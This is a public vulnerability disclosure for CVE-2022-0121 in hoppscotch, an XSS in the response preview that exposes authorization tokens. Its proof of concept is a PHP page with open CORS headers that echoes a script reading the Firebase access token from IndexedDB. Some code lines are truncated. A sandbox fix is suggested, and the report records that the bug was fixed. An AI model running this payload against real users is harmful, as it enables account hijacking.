# Exposure of Sensitive Information to an Unauthorized Actor in hoppscotch/hoppscotch

0

Valid Reported on Jan 3rd 2022

## Description

Steal authorization token via xss and hijack attack

## Proof of Concept

Using this attack , attacker can hijack account by stealing authorization header . I see there is team based collaboration exists ,so one user can hack other user account using this bug .

### STEP

First host bellow php file in your webserver

```
// cors2.php
<?php
    if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
        header('Access-Control-Allow-Origin: *');
        header('Access-Control-Allow-Methods: POST, GET, DELETE, PUT, PATCH
        header('Access-Control-Allow-Headers: *');
        header('Content-Length: 0');
        header('Content-Type: text/plain');
        die();
    }

    header('Access-Control-Allow-Origin: *');
    //header('Content-Type: application/json');
     header('Content-Type: text/html');
    //header("Location: http://mysite.com/cors.php");
 //   $ret = [
   //     'result' => 'OK'
```

```
    //      'result' => 'ok',
     //];
    // print json_encode($ret);
     //echo "chut\"'><img src=x onerror=alert(document.cookie)>";
     echo '<script>//alert();
var dbs=window.indexedDB.open("firebaseLocalStorageDb",1);
dbs.onsuccess = function(event) {
  db = event.target.result;
  var tt=db.transaction(["firebaseLocalStorage"]).objectStore("firebaseLoca
var tt2=tt.getAllKeys();
//console.log(tt2)
 tt2.onsuccess=function(yy){
  keyss=yy.target.result[0];//alert(keyss)
  var mm=tt.get(keyss);//console.log(mm)
 mm.onsuccess=function(kk){
 var xx=kk.target.result.value.stsTokenManager.accessToken
  alert(xx)
  }
  }
};
</script>
         ';
?>
```

Lets your webserver url is http://mysite.com/cors2.php
Now login to you account and fetch above url and preview the request and see xss is executed and it will fetch authorization token .

## VIDEO POC

https://drive.google.com/file/d/1JLFiL0S9YLYjPNIeoTOoQZQOylDfXfwn/view?usp=sharing

## SUGGESTED FIX

When you previewing as html then render it in sandbox , so that it cant acccess authorization token . Simply create a div element with sandbox attribute and render the response there .

## Impact

# Full account hijack by stealing Authorization token

CVE
CVE-2022-0121
(Published)

Vulnerability Type
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Severity
High (8)

Visibility
Public

Status
Fixed

Found by

ranjit-git
@ranjit-git
amateur

Fixed by

Liyas Thomas
@liyasthomas
maintainer

This report was seen 417 times.

We are processing your report and will contact the **hoppscotch** team within 24 hours. a year ago

We have contacted a member of the **hoppscotch** team and are waiting to hear back a year ago

A **hoppscotch/hoppscotch** maintainer validated this vulnerability a year ago

**ranjit-git** has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Liyas Thomas marked this as fixed in 2.1.1 with commit 86ef1a a year ago

Liyas Thomas has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Sign in to join this conversation